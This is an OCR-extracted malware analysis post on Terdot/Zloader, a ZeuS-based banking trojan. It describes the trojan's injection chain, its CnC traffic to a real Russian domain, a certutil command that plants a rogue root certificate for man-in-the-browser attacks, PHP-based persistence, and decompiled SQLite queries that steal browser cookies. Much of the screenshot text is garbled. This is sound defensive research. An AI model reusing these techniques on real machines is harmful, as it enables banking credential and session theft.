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Source code of the infamous ZeuS malware leaked in 2011. Since that time, many cybercriminals has adopted it

and augmented with their own ideas. Recently, among the payloads delivered by exploit kits, we often find

Terdot.A/Zloader — a downloader installing on the victim machine a ZeuS-based malware.

The payload is very similar to the malware described in this article and referenced under the name Sphinx.
However, after consulting with other researchers (special thanks to ), we got proven that the bot that is sold as
Sphinx is very different (sample). Since there are many confusions about the naming, we decided to stick to the

name Terdot Zloader/Zbot.

In this post we will have a look at the features and internals of this malware. As we will see, the dropped package

consists not only of malicious files — but also legitimate applications, used for the malicious purpose.

Analyzed sample

d45b8a20a991acd01d2ff63735fc1adf — original executable #1

950368afb934fd3fd5b2d4e6704b757b — original executable #2

fca092aca679edd9564d00e9640f939d — original executable #3

o aeld1f4597f76912d7bd9962b96eechbb — loader (unpacked)
o 268fd83403da27a80abla3cf9ac45b67 — payload.dll (injected into explorer)
= 6c34779503414210378371d250a3alaf — client32.dll (Zbot downloaded and injected into

msiexec, and into browsers)

£9373dc232028da52ad33b017e33bbd3 — original executable #4

Distribution

Most of the analyzed samples were dropped from SundewnEK - some of the campaigns are described in details
here: 28 Dec 2016, 6 Jan 2017, and 18 Jan 2017. However, we also encountered cases when the Terdot.A/Zloader

was dropped by the malicious email attachment.

Behavioral analysis

After the sample is run, we can see it deploying explorer and then terminating. It is easy to guess, that it injected

some malicious modules there.
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L procexp exe 417 8 860 K 15032 K 1580 Sysintemals Process Explorer  Sysintemals - www sysinter...
= B | c4b894004c08eaZ3daZalb... | 2653 75 596 K 13024 K 184
- explorer.exe Susp... 272K 1476 K 2672 Windows Explorer Microsoft Corporation

If we attach a debugger into the explorer process, we can see the injected shellcode, along with a new PE file
(payload.dll). The interesting and unusual thing, typical for this Zloader is, that the DLL does not start at the

beginning of the memory page, but after the shellcode:

[D] Dump 00079FFF

G54

E
E
E
E
E
E
E
E
E
E
E
E

If we have an internet connection, the Zloader will load the second stage (the main bot) and inject it into

msiexec.exe.

The injected module beacons to the CnC and downloads other modules. Observed patterns of the gates:

/FE8hVs3/gs98h.php /bdk/gate.php

The communication is encrypted:
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POST /bdk/gate.php HTTP/1.1 ~
Accept: */* lﬂ
User-Agent: Mozilla/4.@ (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; 1
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.38729; .NET CLR 3.8.38729; Media Center

PC 6.0; .NET4.0C; .NET4.BE)

Host: rowatterding.ru

Content-Length: 629

Pragma: no-cache
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[....L.SHTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 25 Jan 2017 16:32:35 GMT
Content-Type: application/octet-stream
Content-Length: 7186892

Connection: keep-alive

X-Powered-By: PHP/5.4.45
Content-Description: File Transfer
Content-Disposition: attachment; filename=tv.dat
Content-Transfer-Encoding: binary
Expires: ©

Cache-Control: must-revalidate

Pragma: public

<].#..Ufq.v....?rEA L. .S .. ). .L..rO. ..yl d...TxY..-G].w. A% . ). ... ...,
4. K~..r....<..e.Jdd..... Uo oiMoaaaYooooa Oned. ..o aeaea-
K. . W.S.&@..-...... X.#AL . ... K- }.v..&Ic
k.. A.f.V..w,..Fs..#....... b.p.8./.V..+
Guvennn h)NJh...... i...Di..... In..'".9., .K...+WbjM [ #.K>
XU T=|B+.T...J..... g Al ook
xR*

CnC responds with a new PE file — the module of the malware: (client32.dll). Downloader decrypts it in the
memory and injects further: after a while we can see the explorer terminating and another program being

deployed: msiexec. The initial malware executable is deleted.

L2 procesp exe = ELTPEN IBUUU R 15US SYSIMEMaIS FIOCESS EXPIONEr  SYSIMTEMEIS - WWW SYSINTEr...
4724 K 5764 K 1640 Windows® installer Microsoft Comporation

Attaching debugger to msiexec, we can find the Zbot (client32.dIl) implanted and running in the process space.
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From inside of the injected module another internet connection is made, and some new elements are being
downloaded and dropped (including legitimate applications like certutil and php — their role will be described

further). The same client32.dlIl is also injected in browsers.

The module deployed inside msiexec.exe is used as a supervisor. It opens TCP sockets locally and communicates

with the modules injected in browsers, in order to monitor opened pages.
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ﬁ_.E:r! msiexec.exe:3664 Properties

| Image I Performance | Performance Graph | Threads | TCP/IP |5E::urity | Environment

Resolve addresses
Prot...  Local Address Remots Address State
TCP testmachine:0 LISTEMING
TCP testmachine: 49385 CLOSE_WAIT
TCP testmachine: 49850 CLOSE_WAIT
TCP testmachine: 49851 CLOSE_WAIT
TCFP testmachine: 49852 CLOSE_WAIT
TCP testmachine: 458598 CLOSE_WAIT
TCP testmachine: CLOSE_WAIT
TCP testmachine: 45500 ESTABLISHED
TCP testmaching: 45501 ESTABLISHED
TCP testmachine: 49503 CLOSE_WAIT
TCP | teatmaching 2591 ESTABLISHED
TCP X ESTABLISHED
TCP testmac:hlne 33853 testmachine:l LISTEMING
TCP testmachine: 39855 testmachine: 45888 CLOSE_WAIT
TCP testmachine: 35855 testmachine: 45893 CLOSE_WAIT
TCP testmachine: 39855 testmachine: 45894 CLOSE_WAIT
TCP testmachine: 39855 testmachine: 49897 ESTABLISHED
TCP testmachine: 39859 testmachine: 49502 ESTABLISHED
.,I firefox.exe:2972 Properties
| Image | Performance | Performance Graph I Threads | TCR/IP |5ECL.Iri1.‘5-' | Environment
Resolve addresses
Prot...  Local Address Remote Address State
TCP testmachine 45855 testmachine 45856 ESTABLISHED
TCP testmachine: 43396 testmachine 43335 ESTABLISHED
TCP testmachine: 43897 testmachine 33859 ESTABLISHED
TCP testmachine: 49858 testmachine: 38863 FIN_WAITZ
TCP testmachine: 38863 FIN_WAITZ
TCP testmachlne 45500 testmachine: 38863 ESTABLISHED
TCP testmachine: 45501 testmachine: 38863 ESTABLISHED
TCP testmachine: 45502 testmachine: 35855 ESTABLISHED
TCP acl A55() testmachine: 38863 FIN_WAITZ
TCP testmachine 35863 ESTABLISHED
TCP testmachine 38863 ESTABLISHED
MitM

The main module of the bot downloads and drops some new elements into the % TEMP% folder.

Surprisingly, those files are non-malware. We can see the

In the same folder, there is also some alien certificate (filename, as well as the name of the issuer is randomly

generated).
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([ —|_=—"

-v| b tester » AppData » Local » Temp » - |¢f|| Search Temp Pl
e~ Open - Share with « Mew folder =« @

Marme Date medified Type Size

. Low 2016-11-13 01:15 File folder
D [B7 certutil.exe
U |a) freebB.dll Pr—

| FX5APIDebuglogFile.td | General | Details |Cerh’ﬁmh’on Path
] %) libnsprd.dil

%] libpled.dll show: [ <all> v)
v % libpldsd.dll

- Field Value it
Y %) mswerl00.dil i
/ q D\iersion Vi

sl nedea.crt DSerial number dbc585b1 =

%] nss3.dll =] signature algorithm sha256RSA

%) nssdbm3.dll DSignature hash algorithm sha2sa

@ recuiB.il
i ime.dll B\ialid from 25 stycznia 2017 18:10:31

2 smimes. [=]vald to 25 stycznia 2018 18:10:31

|'_‘¢| softokn3.dll ’-_']':I ihiart Yaren  CiFsoarntnsm -
B sqlited.dll

CN =Ygreo
O = Otzurotoagu

Edit Properties... Copy to File...

Learn more about certificate details

nedea.crt Date medified: 2017-01-251§

Security Certificate Size: 1017 bytes

The certificate is installed with the help of the certutil, for the purpose of Man-in-the-Middle attacks (in such

cases they are also called Man-in-the-Browser).

s s s+ s s ey @t s L % aa s S R 3 e 2oL e
18.10.... {@msiexec.exe 3664 BhQuerySecuityFile C:\Users\tester\AppDataLocal Temp'cerutil exe SUCCESS Information: Label
18:10:.. siexec.exe 3664 QueryName\nfo .C:\Users\tester\AppData'\Local\. Temp'\certutil exe SUCCESS Name: \Users‘tester\AppData‘\Local\ Temp\certutil.exe

3664 :4.;Process Create  C:\UsersMester\AppData\Local\Temp'\certutil sxe. PID: 3540. Command line: "C:\Users‘tester\AppData'\Local\Temp'certutil exe” -A n "otdanfyr” +
18:10; 3540 &% Process Start SUCCESS Parent PID: 3664, Command line: "C:\Users'\tester\AppData'Local' Temp'\certutil exe" -A -n "otdan
18:10.... 3540 &% Thread Create SUCCESS Thread ID: 2424

"C:UserstesterAppDatalocalTempcertutil.exe” -A -n "otdarufyr" -t "C,C,C" -i "C:UserstesterAppDatal

It is easy to guess that this malware targets web browsers. Indeed, if we run a browser and try to visit some site

over HTTPS, we will see that the original certificates are replaced by the malicious one. See examples below —

draw attention that the subject of the certificate contains the valid domain — only the issuer field can let us

recognize, that the certificate is not legitimate:

Satander MitB on Firefox:
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P hitps://retail.. ial&redirect=5

s -
L\t/'_o Ua https://retail.santander.co.uk/LOGSUK_MS5_EMS/BtoChannelDriver.ssobtofdse_operationMame=LOGOMN 8

f retail.santander.co.uk

Secure Connection

tander

Verified by: Otzurotoagu

in to Online Banking

rack

j itly have cookies disabled. To use Online E

n on how to do this can be found at www.i

ﬂ Business  Corporate

More Information ur Personal/Customer ID | ?

The browser claims that the connection is secure — but when we see the details, we can find, that the connection is
“protected” by the fake certificate dropped by the malware:
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| File Edit View History Bookmarks Tools Help

- https://retail...ialBredirect=5 * - +

L

é LU a https://retail.santander.co.uk/LOGSUK_M5_EMS/BtoChannelDriver.ssobto?dse_operationMame=LOGOME

P

General | Details

Certificate Viewer:"retail.santander.co.uk”

s

S5L Client Certificate
SSL Server Certificate

Email Signer Certificate

Object Signer

This certificate has been verified for the following uses:

Email Recipient Certificate

Issued To

Comman Mame (CM)
Organisation (O]
Organisational Unit (OU)
Serial Mumber

Issued By

Caomman Name [(CM)
Organisation (O]
Organisational Unit (OU]
Period of Validity
Begins On

Expires On

Fingerprints

SHA-256 Fingerprint

SHA1 Fingerprint

retail.santander.co.uk
<MNot Part Of Certificate»
«<Mot Part Of Certificate»
SE:CC:D2:5D

Yqreo

<Mot Part Of Certificate>

24 stycznia 2017
25 stycznia 2018

36:0D:A7:2D:42:54:7D:31:D2:DF:06:35:26:F1:72:Fa:
CC:83:98:64: 88 :ED:BF:31:56:E2:95:6E:E87: 736D A5
FD:2D51 A 2E:FD:24:77:38:4 F:6B:68:F5:16:07:38:97: 1 REE: C2:37

Close

ng

Dnline
t W,

KINC

5. O

w ookl Up TEAL dITU ETTIEN JTETT

Facebook MitB on InternetExplorer:
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@ Witamy na Facebooku. Zaloguj sig, zarejestruj sig lub dowiedz sie wiece) - Windows Internet Explorer

@ u L |E, https://web.facebook.com/?_rdr

- & 4] x]

Certificate

| zeneral | Details |Cerﬁﬁmﬁun Path

Show: [«:Ajl:s v]
Field Value =
D'u'ersiun V1
DSeriaI number 56 0a c3ed =
DSignamre algorithm sha25aR5A
DSignamre hash algarithm sha256

0 = Otzurotoagu

Issuer ‘fgreo, Otzurotoagu
D'u'alid from 24 stycznia 2017 13:18:53
D'u'alid to 25 stycznia 2018 13:18:53
I'_']'::I hiart wieh farshnnk ram 3
CM =Ygreo

ywac i analizol
Zez nas informacji na
roli, znajdziesz w dokumencie :

)i
acje i

Browsers do not alert about any inconsistency — and the user who was not vigilant enough to check the details of

the certificate, may easily get deceived...

E Witarmy na Facebooku, Zaloguj sie, zarejestruj sie lub dowiedz sie wiece] - Windows Internet Explorer

@ u - |g, https://web.facebook.com,/7_rdr

- %|~F‘r

Certificate

General | Details | Certification Path

Certification path

[=;] web. facebook.com

asi cji na Fac
ili, Znajdziesz w dokume

Certificate status:

View Certificate

| is certificate is QK.
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If we attach a debbugger into the running browser, we can see that the same client32.dll is injected there — along

with some more code used for API redirections.

Persistence

In addition to the content dropped in %TEMP%

%APPDATA%:

we can see some new folders with random names created in

b AppData » Roaming »

- | +3 | | Search Roaming

n Share with Mew folder == ~ [
Mame . Date modified Type Size
| |. Doywow 2017-01-0221:35  Filefolder |
| GHISLER 2016-05-2614:18 File folder
| | Haxyka 2017-01-0221:35 il folder |
| Hex-Rays 2016-05-2613:54 File folder
L Identities 2015-06-18 22:24 File folder
. Immunity Debugger 2017-01-02 21:39 File folder
. Media Center Programs 2011-04-12 04:24 File folder
1 Microsoft 2016-05-26 14:20 File folder
. Mozilla 2015-06-19 00:38 File folder
1. Sun 2016-05-31 23:40 File folder
| Vyaxy 2017-01-02 21:35 File folder |
| | Wobeud 2017-01-0300:47  Filefolder |
| Zynamics 2016-08-11 01:21 File folder
Interesting fact is that one of them contains legitimate php.exe (see on VirusTotal: php.exe, php5ts.dil).
v AppData » Roaming » Haxyka - | 3 | | Search Haxyka
in library « Share with + Mew folder ==« [l
Marne : Date modified Type Size
php.exe 2017-01-02 21:35 Application 29 KB
|&] php5ts.dll 2017-01-02 211:35 Application extens... 5589 KB
| || ushautre.php 2017-01-02 21:35 PHP File 4 KB

...and some obfuscated php code:

https://gist.github.com/hasherezade/1952374847712805c4f7199b7423dd27#file-script-php

(Formatted version here).

Other folders contains some encrypted data, i.e.:
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https://virustotal.com/en/file/0ea0dbcbf78a85b47ec9c98c1fd7c8ff9a71a9986cd6fcf953a1b2f15609d349/analysis/
https://virustotal.com/en/file/018e13cab4c50261776dc7f641f1c3dd1000cafa21759bac221765663efce806/analysis/
https://gist.github.com/hasherezade/1952374847712805c4f7199b7423dd27#file-formated-php
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AppData » Roaming » Vyaxy - |¢f|| Search Vyaxy ~
n Sharewith *  New folder =~ 0 @
Mame Date modified Type Size
|| royxh.umh 2017-01-02 21:35 UMH File 305 KB
Bl vz - royh.umhb
File Edit Search Address Bookmarks Tools XViscript Help
O - 4o
DEE X L B2BERG CE § 8
‘EF-}M}EBDAAFaEESDEBD3FE;&244E40EBE4la—éﬁi}é'g“‘:g$nmedﬂ
__|
11 |B2 41 EC|DD B3 42 ED|9E B4 43 EE|DF|BS |44 EF E0|Bs||, |2 & ¥|x/Bi|% ~|Cc|i & p/DdEq
22 |45 F0 E1 B7 46 F1|EZ|B8 47 F2 E3|B9|48 F3 E4 BR|49||E|d|& -|F|n &, c|&|2 a/H|a &5/
33 |F4 E5 BB 4A F5 E6 BC 4B |F& OF BD 4C F7 26 21|F7 F6 |a|/l =T 8 ¢ nEla ¥~ L+ & +a
44||E9 0B/ 47 34 CB 78 |4E|B& 26 E0 04 93 85(B1 71|&C oF |&|f |4 B x W a|s #{ | »|._ £ qg§ 2
55 |AC 35 EF | 8F A9 72 9D|EE AB 3A 30 24|E6 37 &5 D1 Bs||-|5 2 2@ st/ Z «/:| .| &7efn
65||22 | 6F|D2 21 36|22 |B7|86|0A 23|99 A5 |3E|61 | DB|Cs |56 || W] |6 t #I‘A}aﬁcv’
77/|oF D2 cC 5C 06 F7|CDR|SD| 07 D2 F4 TE &5(97 94|11 32 |¥[0 E[n -+ I1|e 8B|& ~n— "4
B8 |94|EB zE|35 55|8A 2F|2E8 83|14 Bz|3F BD 88 ZD|3E B |~|< CRE-IMAE-10-40 RS- TR B E A
99/|12 g0 3D 0A BE 2B|3C|&7 F5 BB 22 44 8C|29 21 |sC 82 |I|e=| Z+ < g|ld =" D& 11
aa||27|20|2c|83/27 27|71 |1¢c|8F | 26|5C B0 25|25 (73(1aBa || || |"|"|q [Z|&[v €|%|%|s|-],
BB |24|68 86 23 2B 7D 16 BD|2A &6 54 21 29 58 |83(13|73 |5 h/+ & +[} 1|~ % £, 1) ¥z lls
CC||&65 B 3F 2F OC EZ 72 1D 0D E32|73|1E 0E E4 74|1F|0F |e|g|?//|0& = £= Hzc ¥
DD||E5|75 20|10 E6 76 2111 E7|77|22|42|aD 78 23 5F E8 |1ju| |4|é|v|! 4 g w " B/-|xg _|&
EE||7D|24|90|29/19|7D 15 EB|7B|26|16/EC|7C |27 |F7[ED|7E ||} |s| |3 H L&/ {|&|T &1 |2 4|~
FF||25/13 EF 74 29 15/C5|7D|22 12 &2 82 2B 1B Fi|s1 zc | [Vale)y [FE 3% =[5, [+~ 4 |,
110 |FA FE |83 2D|1D E3Z &3 2E 1E B4 8&|2F 1F F5 C5 30 20||as |- (& |.| |-|+|/ |&Llo
121||E6 B6 31 21 F5 B7 32 27 F2|B9 33 23 FI|89 34|21 Fa/|&|t|1)1 & (2" #x2ghaxw4a1|d
132 |BB 35 25 FB 2B 36 2& EC 89|37 27|F3 8D 38 AR ED 8B||< 5% d|< |&s&x7 "4 Tas5il L‘
|Adr. dec: ) |Char dec: 149 |Ovemrrite| v
Interestingly, this php package is referenced at autostart:
e vy i s 1 . b e e g St it o s v
23 C:\Users'tester\App Data"\Roaming\Microsoft \Windows\Start Menu'\Programs\Startup 20170102 21:35

Link deploys the dropped php application and runs the script, that we saw before:
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b Start Menu » Programs » Startup - | 4 | | Search Startup e |
library = Share with - Mew folder = - l@
Mame . Date modified Type Size
desktop.ini 2015-06-18 22:24 Configuration sett... 1KB
php 2017-01-02 21:35 Shortcut 1KB

F =

php Properties @

Compatibility | Security I Details I Previous Versions
General | Shortout | (Cptions I Font | Layout I Colors

ﬁE php

Target type: Application

Target location: Hayka

Target: ‘ppData*RoamingHaodka php exe
Start in: Clsers'tester' App Data® Roaming Haxyla

Shortcut key:  Mone

Run: Minimized ']

We can easily suspect that this is a method of persistence. Deobfuscating the PHP code confirms this guess. See

the same code after cleanup:

https://gist.github.com/hasherezade/1952374847712805c4f7199b7423dd2 7#file-deobfuscated-php

As we can notice, the file royxh.umh contains encrypted code of the malware. Using the presented PHP script it is

decrypted back into the Zloader executable:

fca092aca679edd9564d00e9640£939d

The dropped file is run and then deleted.

Inside

Zloader - payload.dll

This element — unpacked from the initial sample and injected into explorer.exe — is a downloader — identified as

Terdot.A/Zloader. It is responsible for connecting with the CnC and downloading the main malicious module,
that is the Zbot.
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4 & payload.dil X = 5 & 0 & B
DOS Header =
@ Dos stub 01 2 3 45 6 7 &8 9% ABCDEF
4 NT Headers 1936 55 BB EC B1 EC DO 06 00 00 FF 4D 0OC OF 85 BB 00
Signature 1926 00 00 E8 35 0% 00 00 E2 && 1F 00 00 E8 8E 35 00
File Header 19B6 00 E8 1F 3C 00 00 E8 90 13 00 00 8D 85 20 F9 FF
c.]ptional Header 1ars FE_SO_= DL 1 _FE _FE N = o -l - = i inl =4
- Sectisoer:-:mn Headers Disasm: .text | General | DOS Hdr | File Hdr I Optional Hdr Section Hdrs 0 Exports B Impoi
4 text e
=p EP = 1996
.rdata Offset MName Value Meaning
.data 6F30 Characteristics 0
reloc 6F94 TimeDateStamp 58504958
6F98 MajorVersion 0
6F9A MinorVersion 0
6FC MName 87C2 payload.dll
6FAD Base 1
6FAd MNumberOfFunctions 1
6FAS MNumberOfMames 1
G6FAC AddressOfFunctions a7es
GFBO AddressOfMNames 87BC
GFB4 AddressOfMNameOrdinals &7C0
Details
Offset Ordinal Function RVA Mame RVA MName Forwarder
G6FBS 1 2664 87CE _Start@4

Zbot — client32.dll

The second stage is also a DLL — this time it is injected into msiexec.exe as well as into browsers:

4 [ client32.dll 1% = 8 4 0 & B
DOS Header &
@ Dosstub Disasm: .text | General | DOS Hdr I File Hdr I Optional Hdr | Section Hdrs 9 Exports B Imports
4 MT Headers
Signature :
F”E_HEEdE' Offset MName Value Meaning
o Pional Header 17360 Characteristics 0
4 Sections 173C64 TimeDateStamp 585D48DD
P ﬁ et 173068 MajorVersion 0
=) EP = 10E9CB 173C6A MinorVersion 0
rdata 173CaC MName 17489C client32.dll
data 173C70 Base 1
wmp0 173C74 MumberOfFunctions 2
reloc 173C78 MNumberOfMNames 2
173C7C AddressOfFunctions 174888
173C80 AddressOfNames 174890
173C84 AddressOfNameOrdinals 174898
Details
Offset Ordinal Function RVA Mame RVA MName
173C88 1 ABEl 174849 _Run@4
173C8C 2 AT13 174880 _injectEntryForThreadEntry @4
Attacked targets

The bot injects itself into the most popular browsers, in order to hook their API:
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u16 = V22,
strepy{buf, "ywx82"),
1 *({_ DWORD =)({{char =)&uZz8 + 2) = =(_DWORD =){v22 + 2},
LOWORD{v28) = ={ WORD =)u22,
find_string{{ WORD =)current_Jpath, (char =)L"iexplore.exe"))
|| find_string{{ WORD =)current_path, {char =)L"microsoftedgecp.exe”)
|| find_string{{ WORD =)current path, {char =)L"chrome.exe"}
|| find_string{( WORD =)current_path, {char =)L"opera.exe")
|| Find_string{( WORD =)}current_path, {char =)L"WebKit2WebProcess._exe')
|| sub_188A99EC{1) && find_string{{ WORD =)current path, {char =)L"firefox.exe"}}) )

={_ DWORD =){v16 + 2) = inet_addr{"127.8.8.1");

I sub_180889D66( (int)&u31);

if { { WORD)v2S == 88 )
u17 = htons(hostshort[8]);

else
vi17 = htons{hostshort[1]);

={ WORD =)uldé = ui?;

if ( find_string{{_ WORD =)current_path, (char =)L"iexplore._exe") )}
find_url cache();

vi18 = dword 18181F78{a1, a2, a3, ak, a5, a6, lpAddress, duwSize, a9, aid);

ul9 = B3
! while { select_socket{={&s + ui19), 3808) )
{

if  ++uiD 2= 2 )
goto LABEL_31;

H
send via socket(={&s + vi9), buf, 16);

It excludes from the attack computers with Russian language installed — but instead of doing it silently, like most

of the malware — it is very openly announcing this fact:

2

=
loc_1080A846:
push ebx
push i
push BEh
push 1
push offset aD_D_D D ; “%d.%d.%d.%d"
lea eax, [ebp+Caption]
push 28h
push eax
call sub_1086EEBY
1ea eax, [ebp+var_3CC]
push eax
call sub_18889D3D
add esp, 28h
cmp [ebp+var_ 17B], ebx
jz short loc 1888ABBS
Y
[l s =]
push ehx ; uType
lea eax, [ebp+Caption]
push eax ; lpCaption
push offset [Text ; “RU 05 is not supported?™
push ehx ; hind
call ds:MessageBoxA

The SQL part
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Inside the bot we can find references to an SQL release from the end of 2016 (see

BN L e el LY UL auan

.rdata:1812EFEC H
.rdata:1812EFFL a2@8161184126849 db '2016-11-84 12:08:49 1136863c765761108e710dd5d69abbbF347c65e36°,0
.rdata:1B812EFF4

wu Lapausn gw 3 WIEIE RIS s UM T EWIIS T Gl

; -data:1e1770E4)0

; DATA XREF: sqlite_releaseTo

2016-11-04 12:08:49 1136863c76576110e710dd5d69abbbf347c65e36

Presence of those references confirms, that the bot is pretty new, and probably under active

development.

We can also see many SQL queries and related error messages among the strings:

.rdata
-rdata
-rdata
.rdata
-rdata
.rdata
-rdata
-rdata
.rdata
-rdata
.rdata
-rdata
-rdata
.rdata
-rdata
-rdata
-rdata
-rdata
.rdata
-rdata
-rdata
-rdata
-rdata
.rdata
-rdata
-rdata
-rdata
-rdata
.rdata
-rdata
-rdata
-rdata
-rdata
.rdata
-rdata
-rdata
-rdata
-rdata
.rdata
-rdata
-rdata
.rdata
-rdata

:1812E7B8
1812E7ES
:1812E7BS
1812E7F8
1812E7F8
:1812E815
1812E818
:1812EB2C
:1812E82C
:1812EB5F
1812E8G@
1812EBGE
1812E87 0
:1812E883
1812E884
:1812E884
:1812E891
1812E894
1812E894
1812E894
:1812EBBC
:1812EBBC
:1812EBEY
:1812EBES
:1812EBES
:1812EBFD
1812E9088
1812E988
:1812E908
S1812E960
1812E978
1812E978
S1B12E97 0
:1812E9B9
1812E9CH
1812E9CH
1812E0CH
1812E9CH
:1812EAST
1812EASSE
:1812EASS
:1812ERSS
:1812EASS

alnsertIntoQ 6 db °"INSERT INTO %Q.%s UALUES(',27h,’trigger’,27h,",%0,%0,8," ,27h, CREATE TRIGG'
; DATA XREF: sub_1883FSE3+109To
db ER %q',27h,")" .8
aTypeTriggerAnd db ‘type=',27h, trigger",27h," AND name=",27h,"%q",27h,8
5 DATA XREF: sub_1883F5E3+133To
align 4
aHoSuchTrigger$ db 'no such trigger: %S°,08 ; DATA XREF: sub 1802B2EE+ASTo
aDeleteFromQ__1 db 'DELETE FROM %0.%s WHERE name=%0 AND type=',27h,'trigger',27h,0
; DATA XREF: sub_1083B9BE+B&TO
align 16h
aTriggers db *-- TRIGGER %s',8 ; DATA XREF: sub_18822aB4+F5To
align 18h
aHoSuchColumnS db 'no such column: %s',8 ; DATA XREF: suh_1BBhDS9n+SDBTD
align 4
5 char aRowslpdated[]
aRowslpdated db “rows updated®,8 ; DATA XREF: sub_1884D8%a+EA6To
align 4
; char aCannotVacuumFr[]
acannotUacuumFr db *cannot UACUUH fFrom within a transaction',B
5 DATA XREF: sub_1084A5a5+168To
acannotVacuumSq db ‘cannot UACUUHM - SOL statements in progress’,@
; DATA XREF: sub_1084A5a5+33To
align 4
afttachAasVacuum db *ATTACH' ,27h,27h,'AS vacuum_db* ,@
5 DATA XREF: sub_1084A5Aa5+8DTo
align 18h
aSelectSqlFromW db ‘SELECT sql FROM “%uw".sqlite_master WHERE type=‘,27h,'table’,27h,'AHD na*
; DATA XREF: sub_1@84A5A5+1B7To
db ‘me<>*,27h,’'sqlite_sequence®,27h,’ AND coalesce{rootpage,1)>6',0
align 16h
aSelect3qlFro_@ db "SELECT sql FROM “%uw”.sqlite_master WHERE type=",27h,"index’',27h," AND 1°
; DATA XREF: sub_1884A5A5+1DDTo
db ‘ength{sql)>18',8
align 16h
asSelectInsertIn db *SELECT',27h,'INSERT INTD vacuum_db.',27h,"||quote{name)|]|",27h," SELECT=FR'
; DATA XREF: sub_1884a5a5+203To
db "OM"%w".",27h," | |quote({name)FROM vacuum_db.sqlite_master WHERE type=",27h
db “table',27h,"'AHD coalesce(rootpage,1)>8°,8
align 4
alnsertIntoVacu db "IHSERT INTO vacuum db.sqlite master SELECT=FROM "%uw".sqlite maste’

; DATA XREF: 5uh_1ﬂﬂh95n5+22910
db 'r WHERE type IN(',27h,'view’,27n,',’',27h, trigger’,27h,') OR(type=',27h, table’,27h
db °"AND rootpage=8)",08

They are used to read and manipulate browser cookies, that are stored in form of SQLite databases.

is_success =
if { tis_success )

SHGetFolderPathA{B®, 28, B8, B, &pszPath);

sub_1806EB868(&pszPath, "\\Googley\Chromeiy\User DataviDefaultiicookies", -1);
if a1 & 2 )

{

is_success = sub_18@1AASA{&pszPath, &u13);

if ( tis_

{

SUCCEess )

vid = B8;
if ( tsub_10681B22D(v13, "select “host_key®, “name’, “encrypted_value® from “cookies®™, -1, &ui0, 8) )

{
vl =

vil = B;

1pHem

do

if { sqlite_apply_queries{uviB) *= 188 )
break;

Queries deployed:
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if ( <B8)
= sub_10837113(u9);
sub_1083846D(u21, );
*(_BYTE =)(u3 + 152) = ;
= sub_10825715(

""SELECT sq1 FROM \"%uw\"_sgqlite_master WHERE type='table'AND name<>'sqlite_sequence' AND coalesce{rootpage,1)}>@8",

):
if ¢ b1
{
= sub_18825715(
“SELECT sql FROH \"%w\".sqlite_master WHERE type='index’ AND length{sql)>18",
if (¢t ]

*( BYTE *){u3 + 152) = 0;
= sub_10825715(

“SELECT ' INSERT INTO wacuum_db.'||quote(name)||" SELECT=FROM\"%w\"."||quote{name)FROM vacuum db.sqli™
“te_master WHERE type='table’AND coalesce(rootpage,1)>8",

¥:
*#{_DWORD =){u3 + 24) &= BxEFFFFFFF;

if (¢ ,)
{
= sub_18825715(

“INSERT INTO vacuum_db.sqlite_master SELECT=FROM \“%w\".sqlite_master WHERE type IN('view','trigg™
“er') ODR{type="table'AND rootpage=8)",
IH

Man-in-the-Browser

The main module injected into msiexec opens local TCP sockets that are used to communicate with

the module injected into browser.

All the communication between the browser and particular website is first bypassed by client32.dll injected into

msiexec.
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Q Immunity Debugger - msiexec.exe - [CPU - thread 00000E4C]
@F\IE View Debug Plugins Immlib Options Window Help Jobs

B TE @XMl T emtwh cDk bz . s E————

ASCII "ht

Plik Edycja Widok Historia Zaktadki MNarzedzia Pomoc

| B Witamy na Facebooku. Zal... \

(' W https://web facebook.com/7 rdr

Uzywamy plikdw cookie, aby pomdc w personalizacji tresci, di
witrynie, wyraZzasz zgode na gromadzenie przez nas informacji na Facy
kontroli, znajdzie

facebook

Facebook pomaga kontaktowac sie z innyn
osobami oraz udostepnia¢ im rézne inform
materialy.

Like many Zbots, Terdot not only spy but also allows to modify the displayed content, by “Weblnjects” and
“WebFakes”.

Sites that are going to be hooked are specified by configuration. Example of the target list from one of the samples

shows, that the main interest of the attackers are various banks:
https://gist.github.com/hasherezade/4db462af582c079b0ffa059b1fd2c465#file-targets-txt

Webinjects are implemented by adding malicious scripts (specialized for a specific target) into the content of the
website. The scripts are hosted on the server controlled by attackers. Sample list of the scripts, fetched by the bot
during tests: https://gist.github.com/hasherezade/4db462af582c079b0ffa059b1fd2c465#file-injects-txt Those java
scripts are implanted into the the attacked site before it is displayed in the browser — along with some more,
obfuscated code. Templates of such implants are downloaded from the CnC server. You can see some examples

here.
Conclusion

Terdot is yet another bot based on Zeus. Feature-wise it is similar to other bankers. However, I think it deserved
some attention because of it’s recent popularity. It has been prepared with attention to details, so we may suspect
that it is a work of professionals. It is actively developed, distributed and maintained — so, the probability is high,

that we will be seeing it more in the future.

This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest
in InfoSec. She loves going in details about malware and sharing threat information with the community. Check

her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com.
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